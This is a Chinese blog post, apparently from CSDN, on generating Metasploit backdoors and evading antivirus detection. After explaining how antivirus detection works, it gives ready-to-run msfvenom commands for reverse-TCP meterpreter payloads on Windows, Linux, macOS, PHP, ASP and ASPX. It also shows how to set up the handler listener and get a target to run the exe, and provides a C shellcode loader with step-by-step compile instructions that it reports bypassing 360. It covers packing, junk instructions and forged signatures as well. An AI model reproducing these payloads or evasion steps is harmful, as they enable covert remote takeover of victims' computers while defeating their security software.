MSF后门生成及免杀思想

免杀概念

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

杀毒软件检测方式

1、特征代码法:“同一病毒或同类病毒的某一部分代码相同”的原理来识别病毒文件。该技术是利用留在受感染文件中的病毒特征值进行检测。发现新病毒后,对其进行分析,根据其特征编成病毒码,加入到数据库中。今后在执行查毒程序时,通过对比文件与病毒数据库中的病毒特征码,检查文件是否含有病毒。
2、校验和法:此法计算文件的校验和并保存,可定期或调用文件时进行对比,从而判断文件是否被病毒感染。
3、行为监测法:此法根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
4、软件模拟法:这种方法通过模拟病毒运行的方式来检测病毒特征。

杀毒软件主动防御

HIPS(主机入侵防御系统),常说的安全防护就是HIPS,其实就是杀毒软件会监控进程、流量,再和病毒库匹配,以及对不认识的文件上传到服务器进行模拟运行,研判是否是病毒,然后指导杀毒软件进行行为监控或者处理。

免杀技术介绍

修改特征码

免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。(特征码:能识别一个程序是病毒的一段不大于64字节的特征串)
第一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可
第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。

花指令免杀

花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。

内存免杀

CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀

加壳免杀

软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件的所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序

加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。

二次编译

metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

资源修改

有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
1、加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
2、替换资源
使用ResHacker替换无用的资源(Version等)。
3、加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

MSF常用命令

-p 指定payload模块
-l 列出可用项
-f 指定文件类型
-e加载编码器
-b删除无效字符
-i指定编码次数
-x捆绑文件
-o导出文件
在这里插入图片描述

常见的木马生成

生成一个常见木马文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.XXX lport=1250 -f exe > 66.exe
生成木马之后,我们要监听这个端口,输入msfconsole,然后输入use exploit/ multi/handler,回车运行之后会默认生成一个payload,但是我们要重新把这个payload设置为我们之前生成的那个木马的payload,输入set payload windows/meterpreter/reverse_tcp,然后再输入options来查看我们需要设置的选项
在这里插入图片描述
将lhost和lport设置为我们生成木马的时候的lhost和lport,然后输入run进行攻击,然后只需要让刚才生成的exe文件让目标点击,运行就行了

常见后门生成方式

1、Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
2、Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3、 MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4、PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT =1520 -f raw > shell.php
5.、Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6、Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

编译软件VC++6.0免杀

我们通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.xxx lport=1250 -f c来生成一个c语言的编码文件
在这里插入图片描述
生成之后打开VC++6.0,点击文件,点击新建,选择Win32 application或者Win32 console application,点击确定,点击一个简单的win32程序,点击完确定以后,在左下角找到fileview,点击你刚才创建的工程名字files,然后点击source files,双击工程名字.cpp,将下列代码粘贴到下图的红色区域,将原本的代码删除掉
在这里插入图片描述

#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}

然后将刚才生成的那段c语言的编码,粘贴到这里放生成好的数组那里
在这里插入图片描述
然后点击stdfafx.cpp,点击组建,点击编译,如果在下方显示0errors,我们再继续编译1114.cpp
在这里插入图片描述
1114.cpp编译完之后,没有出错的话,我们点击组建,再点击组建,然后就生成了一个exe的后门文件,这个文件默认在C:\Program Files (x86)\Microsoft Visual Studio\MyProjects\1114\Debug,然后我们使用360查杀
在这里插入图片描述
可以看到绕过了360,不过没绕过火绒
在这里插入图片描述
如果没绕过的话,可以再添加一些垃圾指令,进入VC++6.0,点击文件,点击新建,选择资源脚本或者文本文件或者其他,然后勾选添加到工程,文件名随便你起,点击确定,编译一下你刚才的那个文件,然后点击组建,你会在刚才的exe文件的那个文件夹里面看到一个xx.res的文件,然后那个exe文件也变大了,这也是一种免杀思想。

MSF免杀模块

我们输入msfconsole,打开msf,输入show evasion来查看免杀模块,输入use evasion/windows/windows_defender_exe 来选中这个模块,然后他会默认生成一个payload,我们输入options来查看需要设置哪些选项,设置完之后输入run,他会把生成的exe文件的路径返回给你,打开那个文件夹,就会看到生成的exe文件,还有其他的模块各位兄弟可以自己试试看,输入info 模块名就可以查看具体的使用方法了

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值